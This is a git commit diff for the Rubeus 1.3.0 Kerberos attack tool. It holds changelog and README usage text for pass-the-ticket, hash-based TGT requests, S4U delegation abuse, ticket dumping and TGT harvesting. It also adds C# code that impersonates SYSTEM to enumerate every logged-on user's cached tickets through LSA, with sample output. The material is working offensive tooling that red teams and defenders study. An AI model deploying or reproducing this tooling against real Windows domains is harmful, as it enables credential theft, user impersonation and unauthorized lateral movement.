Rubeus 1.3.0. See CHANGELOG.md for a summary of changes.

master
HarmJ0y 2019-02-05 17:56:54 -08:00
parent 32afd4a2b7
commit ac66e13b83
9 changed files with 461 additions and 80 deletions

2
.gitignore vendored
View File

@ -4,3 +4,5 @@
[Rr]elease/ [Rr]elease/
[Bb]in/ [Bb]in/
[Oo]bj/ [Oo]bj/
.DS_Store

View File

@ -4,6 +4,29 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [1.3.0] - 2019-02-05
### Added
* **klist** action
* lists current user's (or if elevated, all users') ticket information
### Changed
* **s4u** landed @eladshamir's pull requests
* RBCD support
* support loading TGS from Kirbi to skip S4U2Self and perform S4U2Proxy only
* perform S4U2Self only
* print output for each stage
* **asreproast** landed @rvrsh3ll's pull request
* added hashcat output format
* **asktgt** landed @qlemaire's pull request
* now accepts a /password:X parameter
* **monitor** and **harvest** landed @djhohnstein's pull request
* ticket extraction can now be saved to the registry with the "/registry:X" flag
### Fixed
* **dump** display of service tickets with multiple slashes
* response buffer size in lib/Networking.cs increased for large ticket responses
* landed @BlueSkeye's fixes for PTT bug fix, TicketFlags display, and dead code removal in PA_DATA.Encode
## [1.2.1] - 2018-10-09 ## [1.2.1] - 2018-10-09
### Changed ### Changed

View File

@ -17,24 +17,24 @@ Rubeus is licensed under the BSD 3-Clause license.
Rubeus usage: Rubeus usage:
Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID: Retrieve a TGT based on a user password/hash, optionally applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:RC4|AES256] | /rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session: Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:RC4|AES256] |/rc4:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit: Retrieve a service ticket for one or more SPNs, optionally applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]
Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew] Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Reset a user's password from a supplied TGT (AoratoPw): Reset a user's password from a supplied TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]
Retrieve a service ticket for one or more SPNs, optionally applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]
Perform S4U constrained delegation abuse: Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated): Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID] Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
@ -60,14 +60,17 @@ Rubeus is licensed under the BSD 3-Clause license.
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
List all current tickets (if elevated, list for all users), optionally targeting a specific LUID:
Rubeus.exe klist [/luid:LOGINID]
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN] Rubeus.exe tgtdeleg [/target:SPN]
Monitor every SECONDS (default 60 seconds) for 4624 logon events, dump any TGT data for new logon sessions, and save data to specified registry path (Default: Disabled): Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:PATH\UNDER\HKLM] Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:SOFTWARENAME]
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire, and save TGTs to a specified registry path (Default: Disabled): Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
Rubeus.exe harvest [/interval:MINUTES] [/registry:PATH\UNDER\HKLM] Rubeus.exe harvest [/interval:MINUTES] [/registry:SOFTWARENAME]
NOTE: Base64 ticket blobs can be decoded with : NOTE: Base64 ticket blobs can be decoded with :
@ -77,7 +80,7 @@ Rubeus is licensed under the BSD 3-Clause license.
## asktgt ## asktgt
The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed). The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). A /password flag can also be used instead of a hash. If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed).
Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**. Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**.
@ -664,7 +667,7 @@ The /user:X parameter is required, while the /domain and /dc arguments are optio
## dump ## dump
The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality. The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. If not elevated, tickets for the current user are extracted. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality.
c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300 c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300
@ -723,6 +726,47 @@ The **dump** action will extract current TGTs and service tickets from memory, i
**Note that this action needs to be run from an elevated context to extract usable TGTs!** **Note that this action needs to be run from an elevated context to extract usable TGTs!**
## klist
The **klist** action will list current logon sessions and associated ticket information, if in an elevated context. If not elevated, information on the current user's tickets is displayed.
C:\Temp>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.0
[*] Action: List Kerberos Tickets (All Users)
UserName : dfm.a
Domain : TESTLAB
LogonId : 1915357
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 2/5/2019 8:05:32 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : dfm.a@testlab.local
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/5/2019 12:05:32 PM ; 2/5/2019 5:05:32 PM ; 2/12/2019 12:05:32 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, initial, renewable, forwardable (40c10000)
...(snip)...
## tgtdeleg ## tgtdeleg
The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi. The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.

40
Rubeus/Commands/Klist.cs Executable file
View File

@ -0,0 +1,40 @@
using System;
using System.Collections.Generic;
namespace Rubeus.Commands
{
public class Klist : ICommand
{
public static string CommandName => "klist";
public void Execute(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/luid"))
{
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTickets(luid);
}
else
{
LSA.ListKerberosTickets();
}
}
}
}

View File

@ -26,6 +26,7 @@ namespace Rubeus.Domain
_availableCommands.Add(Dump.CommandName, () => new Dump()); _availableCommands.Add(Dump.CommandName, () => new Dump());
_availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand()); _availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand());
_availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast()); _availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast());
_availableCommands.Add(Klist.CommandName, () => new Klist());
_availableCommands.Add(Monitor.CommandName, () => new Monitor()); _availableCommands.Add(Monitor.CommandName, () => new Monitor());
_availableCommands.Add(Ptt.CommandName, () => new Ptt()); _availableCommands.Add(Ptt.CommandName, () => new Ptt());
_availableCommands.Add(Purge.CommandName, () => new Purge()); _availableCommands.Add(Purge.CommandName, () => new Purge());

View File

@ -12,7 +12,7 @@ namespace Rubeus.Domain
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
Console.WriteLine(" v1.2.1\r\n"); Console.WriteLine(" v1.3.0\r\n");
} }
public static void ShowUsage() public static void ShowUsage()
@ -60,7 +60,10 @@ namespace Rubeus.Domain
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:"); Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]"); Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
Console.WriteLine("\r\n List all current tickets (if elevated, list for all users), optionally targeting a specific LUID:");
Console.WriteLine(" Rubeus.exe klist [/luid:LOGINID]");
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:"); Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]"); Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");

View File

@ -57,6 +57,7 @@
<Compile Include="Commands\HarvestCommand.cs" /> <Compile Include="Commands\HarvestCommand.cs" />
<Compile Include="Commands\ICommand.cs" /> <Compile Include="Commands\ICommand.cs" />
<Compile Include="Commands\Kerberoast.cs" /> <Compile Include="Commands\Kerberoast.cs" />
<Compile Include="Commands\Klist.cs" />
<Compile Include="Commands\Monitor.cs" /> <Compile Include="Commands\Monitor.cs" />
<Compile Include="Commands\Ptt.cs" /> <Compile Include="Commands\Ptt.cs" />
<Compile Include="Commands\Purge.cs" /> <Compile Include="Commands\Purge.cs" />

View File

@ -734,7 +734,6 @@ namespace Rubeus
{ {
public KERB_PROTOCOL_MESSAGE_TYPE MessageType; public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public int CountOfTickets; public int CountOfTickets;
// public KERB_TICKET_CACHE_INFO[] Tickets;
public IntPtr Tickets; public IntPtr Tickets;
} }
@ -750,6 +749,20 @@ namespace Rubeus
public UInt32 TicketFlags; public UInt32 TicketFlags;
} }
[StructLayout(LayoutKind.Sequential)]
public struct KERB_TICKET_CACHE_INFO_EX
{
public LSA_STRING_OUT ClientName;
public LSA_STRING_OUT ClientRealm;
public LSA_STRING_OUT ServerName;
public LSA_STRING_OUT ServerRealm;
public Int64 StartTime;
public Int64 EndTime;
public Int64 RenewTime;
public Int32 EncryptionType;
public UInt32 TicketFlags;
}
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
public struct KERB_EXTERNAL_NAME public struct KERB_EXTERNAL_NAME
{ {
@ -757,7 +770,7 @@ namespace Rubeus
public UInt16 NameCount; public UInt16 NameCount;
[MarshalAs(UnmanagedType.ByValArray, [MarshalAs(UnmanagedType.ByValArray,
SizeConst = 2)] SizeConst = 3)]
public LSA_STRING_OUT[] Names; public LSA_STRING_OUT[] Names;
//public LSA_STRING_OUT[] Names; //public LSA_STRING_OUT[] Names;
} }

View File

@ -310,7 +310,6 @@ namespace Rubeus
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false, string registryBasePath = null) public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false, string registryBasePath = null)
{ {
// lists
if (Helpers.IsHighIntegrity()) if (Helpers.IsHighIntegrity())
{ {
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath); ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath);
@ -325,6 +324,18 @@ namespace Rubeus
} }
} }
public static void ListKerberosTickets(uint targetLuid = 0)
{
if (Helpers.IsHighIntegrity())
{
ListKerberosTicketsAllUsers(targetLuid);
}
else
{
ListKerberosTicketsCurrentUser();
}
}
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null) public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null)
{ {
// extracts Kerberos ticket data for all users on the system (assuming elevation) // extracts Kerberos ticket data for all users on the system (assuming elevation)
@ -606,6 +617,13 @@ namespace Rubeus
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim(); string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2); serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
} }
else if (serviceNameStruct.NameCount == 3)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
string serviceNameStr3 = Marshal.PtrToStringUni(serviceNameStruct.Names[2].Buffer, serviceNameStruct.Names[2].Length / 2).Trim();
serviceName = String.Format("{0}/{1}/{2}", serviceNameStr1, serviceNameStr2, serviceNameStr3);
}
else { } else { }
} }
@ -625,6 +643,13 @@ namespace Rubeus
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim(); string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2); targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
} }
else if (targetNameStruct.NameCount == 3)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
string targetNameStr3 = Marshal.PtrToStringUni(targetNameStruct.Names[2].Buffer, targetNameStruct.Names[2].Length / 2).Trim();
targetName = String.Format("{0}/{1}/{2}", targetNameStr1, targetNameStr2, targetNameStr3);
}
else { } else { }
} }
@ -759,6 +784,190 @@ namespace Rubeus
} }
} }
public static void ListKerberosTicketsAllUsers(uint targetLuid = 0)
{
// lists Kerberos tickets for all users on the system (assuming elevation)
// first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper connect to LSA
// then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets
// adapted partially from Vincent LE TOUX' work
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Console.WriteLine("\r\n\r\n[*] Action: List Kerberos Tickets (All Users)\r\n");
if (targetLuid != 0)
{
Console.WriteLine("[*] Target LUID : 0x{0:x}", targetLuid);
}
int retCode;
int authPack;
string name = "kerberos";
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
IntPtr lsaHandle = LsaRegisterLogonProcessHelper();
// if the original call fails then it is likely we don't have SeTcbPrivilege
// to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token
if (lsaHandle == IntPtr.Zero)
{
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (currentName == "NT AUTHORITY\\SYSTEM")
{
// if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper
lsaHandle = LsaRegisterLogonProcessHelper();
}
else
{
// elevated but not system, so gotta GetSystem() first
Helpers.GetSystem();
// should now have the proper privileges to get a Handle to LSA
lsaHandle = LsaRegisterLogonProcessHelper();
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
Interop.RevertToSelf();
}
}
try
{
// obtains the unique identifier for the kerberos authentication package.
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
// first return all the logon sessions
DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
UInt64 count;
IntPtr luidPtr = IntPtr.Zero;
IntPtr iter = luidPtr;
uint ret = Interop.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
for (ulong i = 0; i < count; i++)
{
IntPtr sessionData;
ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionData);
Interop.SECURITY_LOGON_SESSION_DATA data = (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(Interop.SECURITY_LOGON_SESSION_DATA));
// if we have a valid logon
if (data.PSiD != IntPtr.Zero)
{
// user session data
string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();
System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);
string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();
string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();
Interop.SECURITY_LOGON_TYPE logonType = (Interop.SECURITY_LOGON_TYPE)data.LogonType;
DateTime logonTime = systime.AddTicks((long)data.LoginTime);
string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();
string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();
string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();
IntPtr ticketsPointer = IntPtr.Zero;
DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);
int returnBufferLength = 0;
int protocalStatus = 0;
Interop.KERB_QUERY_TKT_CACHE_REQUEST tQuery = new Interop.KERB_QUERY_TKT_CACHE_REQUEST();
Interop.KERB_QUERY_TKT_CACHE_RESPONSE tickets = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE();
Interop.KERB_TICKET_CACHE_INFO_EX ticket;
// input object for querying the ticket cache for a specific logon ID
Interop.LUID userLogonID = new Interop.LUID();
userLogonID.LowPart = data.LoginID.LowPart;
userLogonID.HighPart = 0;
tQuery.LogonId = userLogonID;
if ((targetLuid == 0) || (data.LoginID.LowPart == targetLuid))
{
tQuery.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage;
// query LSA, specifying we want the ticket cache
IntPtr tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(tQuery));
Marshal.StructureToPtr(tQuery, tQueryPtr, false);
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, Marshal.SizeOf(tQuery), out ticketsPointer, out returnBufferLength, out protocalStatus);
if (ticketsPointer != IntPtr.Zero)
{
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
tickets = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE));
int count2 = tickets.CountOfTickets;
if (count2 != 0)
{
Console.WriteLine("\r\n UserName : {0}", username);
Console.WriteLine(" Domain : {0}", domain);
Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart);
Console.WriteLine(" UserSID : {0}", sid.Value);
Console.WriteLine(" AuthenticationPackage : {0}", authpackage);
Console.WriteLine(" LogonType : {0}", logonType);
Console.WriteLine(" LogonTime : {0}", logonTime);
Console.WriteLine(" LogonServer : {0}", logonServer);
Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName);
Console.WriteLine(" UserPrincipalName : {0}", upn);
Console.WriteLine();
// get the size of the structures we're iterating over
Int32 dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
for (int j = 0; j < count2; j++)
{
// iterate through the result structures
IntPtr currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize)));
// parse the new ptr to the appropriate structure
ticket = (Interop.KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure(currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO_EX));
DateTime startTime = DateTime.FromFileTime(ticket.StartTime);
DateTime endTime = DateTime.FromFileTime(ticket.EndTime);
DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);
string ticketFlags = ((Interop.TicketFlags)ticket.TicketFlags).ToString();
// extract the server name/realm and client name/realm
string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
string serverRealm = Marshal.PtrToStringUni(ticket.ServerRealm.Buffer, ticket.ServerRealm.Length / 2);
string clientName = Marshal.PtrToStringUni(ticket.ClientName.Buffer, ticket.ClientName.Length / 2);
string clientRealm = Marshal.PtrToStringUni(ticket.ClientRealm.Buffer, ticket.ClientRealm.Length / 2);
Console.WriteLine(" [{0:x}] - 0x{1:x} - {2}", j, (int)ticket.EncryptionType, (Interop.KERB_ETYPE)ticket.EncryptionType);
Console.WriteLine(" Start/End/MaxRenew: {0} ; {1} ; {2}", startTime, endTime, renewTime);
Console.WriteLine(" Server Name : {0} @ {1}", serverName, serverRealm);
Console.WriteLine(" Client Name : {0} @ {1}", clientName, clientRealm);
Console.WriteLine(" Flags : {0} ({1:x})", ticketFlags, ticket.TicketFlags);
Console.WriteLine();
}
}
}
// cleanup
Interop.LsaFreeReturnBuffer(ticketsPointer);
Marshal.FreeHGlobal(tQueryPtr);
}
}
// move the pointer forward
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(Interop.LUID)));
// cleaup
Interop.LsaFreeReturnBuffer(sessionData);
}
Interop.LsaFreeReturnBuffer(luidPtr);
// disconnect from LSA
Interop.LsaDeregisterLogonProcess(lsaHandle);
}
catch (Exception ex)
{
Console.WriteLine("[X] Exception: {0}", ex);
}
}
public static void ListKerberosTicketDataCurrentUser(string targetService) public static void ListKerberosTicketDataCurrentUser(string targetService)
{ {
// extracts Kerberos ticket data for the current user // extracts Kerberos ticket data for the current user
@ -898,6 +1107,13 @@ namespace Rubeus
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim(); string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2); serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
} }
else if (serviceNameStruct.NameCount == 3)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
string serviceNameStr3 = Marshal.PtrToStringUni(serviceNameStruct.Names[2].Buffer, serviceNameStruct.Names[2].Length / 2).Trim();
serviceName = String.Format("{0}/{1}/{2}", serviceNameStr1, serviceNameStr2, serviceNameStr3);
}
else { } else { }
} }
@ -917,6 +1133,13 @@ namespace Rubeus
